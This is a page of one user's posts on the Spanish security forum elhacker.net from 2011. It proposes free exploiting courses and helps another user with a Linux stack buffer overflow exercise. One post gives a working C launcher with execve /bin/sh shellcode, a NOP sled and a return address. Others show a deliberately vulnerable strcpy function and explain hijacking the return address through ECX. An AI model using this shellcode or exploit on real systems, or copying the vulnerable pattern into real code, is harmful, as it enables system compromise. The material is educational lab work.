elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19
121  Seguridad Informática / Bugs y Exploits / Re: Cursos sobre exploiting en: 26 Enero 2011, 23:58 pm
Me apunto, muy buena idea. Aparte, propongo que usemos el foro: Bugs y Exploits  / Una chicheta con el curso + Una con los codes + Una de dudas. Creo que así va bien, ¿ no ?
Todo lo que pueda ayudar, aquí estoy. No tendré problemas  ;) ayudaré en lo que pueda, solo decídmelo.
Anotado  ;)

Pero una cosa, creo que si vais a dar Metasploit, que sea poco y rápido. Porque esa herramienta será todo lo útil que queráis, pero no sirve para esto. Quiero decir que yo quiero aprender, no usar un programa codeado por un puñado de gente entre la que no estoy al que con meterle tres frases te metes en un servidor australiano... Quiero decir que será todo lo útil que queráis, pero el hacking no es meterse en otro PC, al menos para mí. Así que lo de Metasploit, nanai...
Cuando ya sabes como funcionan las cosas, tener una herramienta que te automatice las cosas viene bien. Repito, una vez que ya sabes como funcionan las cosas.

PD: Propongo que metamos algo de ASM. Siempre faltará, y es imprescindible. Y de lenguaje en general, aparte de ASM, C. Es muy útil para estas cosas.... Y a mi me gustaría más en linux, Windows es más sencillo, y hay más documentación.
Es lo que estaba pensando, pero creo que seria mas bien un requerimiento para comenzar el curso. Hay otras cosas sobre las cuales se va a hablar seguramente por ej el uso de gdb, objdump, el formato ejecutable elf, etc. Igual no se preocupen, los que no saben sobre el tema, se hablara lo necesario como para continuar con el objetivo principal.

Ivanchuk adelante si puedes,y para cuando serian?
mmm, ni siquiera se como funciona el moodle ;D. Alguien que lo haya usado nos vendria bien, no necesariamente moodle, aunque parece ser muy bueno.

Buena pregunta, va a ver algún limite de participantes?
Va a ser para los usuarios no mas, o los visitantes lo van a poder ver?
Queres formar parte de los cursos? Registrate en el foro! ;)
El limite, bueno no se. Habria que hacerle publicidad al curso en los otros subforos y ver que sale. Pero la idea que es que no sean muchos, tipo 15 personas max (o menos), si hay mas pues habra repeticiones.

Vamos a hacer como los comerciantes: vender algo que todavia no tenemos jeje.
El primer curso "Introduccion al exploiting" va a cubrir varios temas:
- Uso de las bin-utils (gcc, as, ld, objdump)
- Generacion de codigo asm desde codigo c.
- Analisis del asm generado y su ejecucion por la cpu.
- Uso de gdb.

Estoy preparando algunas cosas, con documentacion y todo. Habria que ver por ejercicios. La organizacion del primer curso estoy en dudas. Mostrar de entrada un ejemplo de exploit como para mostrar lo que se puede hacer e interesar la gente o arrancar con las bases.

Tendria que crear un post para abrir las inscripciones y ver si hay mas interesados. Mas algo de tiempo para crear algo decente como curso. Una manito con doodle y ssh no vendria nada mal :).
122  Seguridad Informática / Bugs y Exploits / Re: Cursos sobre exploiting en: 25 Enero 2011, 21:49 pm
Gratuitos!

En fin, si es verdad, cuestion tiempo siempre es complicado :S.
Es cierto que dar cursos sobre temas variados nos puede servir a aprender aun mas cosas. Por ej, a mi me interesaria estar presente a cursos sobre ataques web, sobre todo que hay gente en el foro que sabe mucho sobre el tema y el nivel puede ser aun mayor que en cursos pagos!

Inclusive se puede hacer un tipo de mini-universidad xD, o sea para comenzar los cursos de exploiting hay que saber sobre asm, o tener ideas basicas, y para proveerlas pueden haber cursos de introduccion al asm. Ideas para mi no faltan, hay miles. Hasta podriamos ofrecer un live-cd preparado por gente bondadosa :P del foro de SO de manera que los alumnos dispongan de una plataforma uniforme, con el sistema de e-learning integrado y todo. Aunque para empezar creo que acceso ssh a una maquina comun seria lo mejor.

Imaginen que los que quieren aprender exploiting van a tener un profe "al lado" al que le van a poder preguntar todo lo que quieran en tiempo real!

Salvo que hayan otras ideas, como primer curso se podria dar "Introduccion al exploiting" donde se podria explicar el clasico esquema de modificacion de eip.

Yo me ofrezco para arrancar con el primero y posiblemente el segundo siempre y cuando conozca sobre el tema. Pero la idea seria que los miembros del staff trabajen juntos por cada curso, de esa manera tendran tareas especificas y sobre todo cortas. Un coordinar general va a hacer falta, otro que maneje el sistema de e-learning, otro que se encargue de mantener al dia el calendario de los cursos, etc. Bueno calculo que todo eso vendra (o no :P) con el tiempo.

Los recursos:
- Un maquina con acceso ssh para los inscriptos (propongo la mia pero no garantizo nada :P)
- Ver como funciona moodle (o otro e-learning, a ver)

Pero lo mas importante: interesados !

Ciertos conocimientos basicos deberian ser necesarios. El dia del curso seria a determinar por doodle para que les convenga a todos los posibles inscriptos (que no creo que sean muchos al principio).

Te parece realizable?
123  Seguridad Informática / Bugs y Exploits / Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona? en: 24 Enero 2011, 20:22 pm
Me parece que te dije cualquier verdura hehe, perdona. En realidad los char * inicializados con dobles comillas, c les agrega un null byte al final automaticamente. El problema lo tenias con los nops, porq los llenabas con memset.

Bueno retomando, en el segundo codigo, porq metes "./vuln" al principio del argumento para vuln en execve???

En el primero ni idea...
124  Seguridad Informática / Bugs y Exploits / Cursos sobre exploiting en: 23 Enero 2011, 22:56 pm
Bueno eso, se me ocurrio que se podria dar cursos sobre exploiting. Le gente que visita el foro es mucha y sobre todo que el foro cuenta con gente experimentada en varios dominios que pueden darle un muy buen nivel.

La idea seria:
- Hacer un sondaje para saber cuanta gente estaria interesada en tomar este tipo cursos.

- Definir el sistema e-learning a usar, como por ej moodle

- Definir el staff (almas bondadosas :P)  que daria los cursos especializados en diferentes topics como por ej:
   - Buffer overflows
   - Format strings
   - Escritura de exploits (hay bastante info para dar, sobre todo en exploits sobre windows)
     - Ejemplos concretos usando programas open source por ej.
   - Fuzzers
   - Uso de metasploit (porq no?)

Estaria bueno meter ejemplos concretos, dar tareas al final de cada curso, etc.
Para los topics que no son multiplataforma se podrian crear cursos dobles.

Bueno nada, yo se que requiere tiempo, o sea preparar los cursos, crear los ejemplos, pensar en las tareas posibles a dar. Lo importante seria de arrancar, crear el primer curso y en la medida que se avanza se los van mejorando.

Los "alumnos" tendrian acceso ssh a una maquina comun con el fin de, durante el curso, probar los ejemplos que se muestran y realizar sus tareas. Deberia haber una agenda disponible en el foro con los cursos y los horarios, pero eso seria una vez que las cosas avanzen bien.

Que opinan?
125  Seguridad Informática / Bugs y Exploits / Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona? en: 23 Enero 2011, 22:00 pm

Código
  1.  
  2. char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  3.  
  4.  
  5.  
  6. char ret [4] = "\x18\x1f\x9b\xbf";
  7.  
  8.  
  9.  
  10. char command [59];
  11.  
  12. strcpy (command, "./vuln ");
  13.  
  14. strcat (command, nops);
  15.  
  16. strcat (command, shellcode);
  17.  
  18. strcat (command, ret);
  19.  
  20.  





Cuando usas c chars con las funciones strxxx, los cadenas tienen que contener \x0 para marcar el fin de la misma sino strxxx va a seguir de largo y copiar cualquier cosa. Si queres serguir usando esas funciones agregales '\0' al final de las cadenas que usas sino podes usar memcpy.

Mirate el man execve. El 2do argumento es un arreglo de punteros a char, el mismo tipo que argv.

Probate este code:
Código:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
 
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
 
char nops [24];
memset (nops, '\x90', 23);
nops[23] = '\0';
char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x0";
char ret [] = "\x18\x1f\x9b\xbf\x0";
 
char command [59];
strcpy (command, nops);
strcat (command, shellcode);
strcat (command, ret);
char *cmd[] = {command, NULL};
execve ("./vuln", cmd, NULL);
 
return 0;
}
126  Seguridad Informática / Bugs y Exploits / Re: problema al instalar metasploit en: 20 Enero 2011, 19:29 pm
Código:
Puede instalarlo escribiendo:
sudo apt-get install subversion
No te funciona si pones eso?
127  Seguridad Informática / Bugs y Exploits / Re: ¡¡¡ No puedo sobreescribir el RET !!! en: 17 Enero 2011, 20:13 pm
Se nos podria haber ocurrido hace tiempo no? jeje que locos estamos...
Anon habia dicho maso lo mismo  ;)

Bue, mirando el estado del paciente, anda olvidandote de la historia "sobreescribir ebp y despues eip etc." mientras estes adentro de main.

Si queres seguir con el esquema tradicional, mete el strcpy en una funcion llamada por main, o sea una cosa asi:
Código:
void soy_vuln(char *arg) {
  char buffer [4];
  strcpy (buffer, arg);
}

int main(int argc, char *argv[])  {
  if (argc != 2) return 1;

  soy_vuln(argv[1]);
}

Proba y contanos
128  Seguridad Informática / Bugs y Exploits / Re: ¡¡¡ No puedo sobreescribir el RET !!! en: 17 Enero 2011, 19:22 pm
Sangrini me desangré explicandote!

Bue, olvida todo lo que dije, compilalo asi

Código:
gcc -fno-stack-protector -S -o vuln.s vuln.c

y pega el contenido del archivo de salida vuln.s asi se facilita la ayuda.
129  Seguridad Informática / Bugs y Exploits / Re: ¿¿¿ Mensaje GDB ??? en: 10 Enero 2011, 22:22 pm
Estuve buscando sobre el codigo que te genera tu compilador y es posible que tengas que actualizarlo.

Encontre un bug que fue reportado en el siguiente enlace
:http://gcc.gnu.org/bugzilla/show_bug.cgi?id=28074

Al que reporta el problema le pasa lo mismo que a vos. Gcc le genera esto
Código:
leal    4(%esp), %ecx
andl    $-16, %esp
pushl   -4(%ecx)
pushl   %ebp
movl    %esp, %ebp

En lugar de algo mas eficiente como esto
Código:
pushl     %ebp  
movl      %esp, %ebp
andl      $-16, %esp

Que version de compilador estas usando Sagrini?
130  Seguridad Informática / Bugs y Exploits / Re: ¿¿¿ Mensaje GDB ??? en: 9 Enero 2011, 20:57 pm
No se porque te genera ese prologo/epilogo tu compilador. El mio si compilo igual que vos lo unico que hace es salvar ebp y alinear la pila, lo que da un esquema de explotacion generico (sobreescribir ret y listo). El caso tuyo como te conte es mas complicado por esa astucia del compilador.

Te resumo sino que es lo que sobreescribis y en que afecta la ejecucion del programa vulnerable.
Suponete que ejecutas tu programa asi:

Código:
Vuln AAAAAA...AA(shellcode)

O sea, muchas As y al final tu shellcode.
Bueno despues de una cantidad x determinada As, vas a tener 4 As que van a sobrescribir el registro ecx, lo cual quiere decir que tenes control externo de ese registro. Lo que se sabe es que para establecer la direccion de retorno desde main se usa ecx y tambien se sabe de que manera se usa. O sea que tenes un control indirecto de la direccion de retorno.

De que manera se usa el valor de ecx para establecer la direccion de retorno?
La direccion de retorno debe estar almacenada en la direccion ECX - 4.

Bueno vamos a hacer ciertas suposiciones:
- Se le pasa como argumento a Vuln 40 As y despues tu shellcode.

- A partir de la direccion de memoria 0xbfff0000 se encuentran las 40 As seguidas de tu shellcode despues de la ejecucion de strcpy().

- ECX va a tomar el valor de las A en las posiciones 21-22-23-24.

Bueno dado ese escenario tu shellcode comienza en la dir 0xbfff0028 (40 en hexa es 28).
Ahora la idea seria sobreescribir ECX con una direccion determinada de tal manera que en esa direccion se encuentre el valor 0xbfff0028, o sea la direccion de tu shellcode.
Por ejemplo si en ECX escribis 0xbfff0004 (acordate que ecx lo controlas desde el argumento), tu programa va a tomar ECX, le va a restar 4 (lo que da 0xbfff0000) y va a usar el contenido de la direccion 0xbfff0000 como direccion de retorno. Pero resulta que esa direccion corresponden a las primeras 4 As del argumento de Vuln! Por lo que los 4 primeros valores del argumento pasado a Vuln deberian ser 0xbfff0028 (en little endian), es decir la direccion de tu shellcode.

Espero haber sido mas explicativo. Lo mejor es que desensambles tu codigo con objdump, break en main y lo pases con step en gdb. Cuando llegues a pop ecx mira el estado de la pila, fijate a que valor apunta esp al momento del ret, etc. Debug debug y mas debug.

Suertes!
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines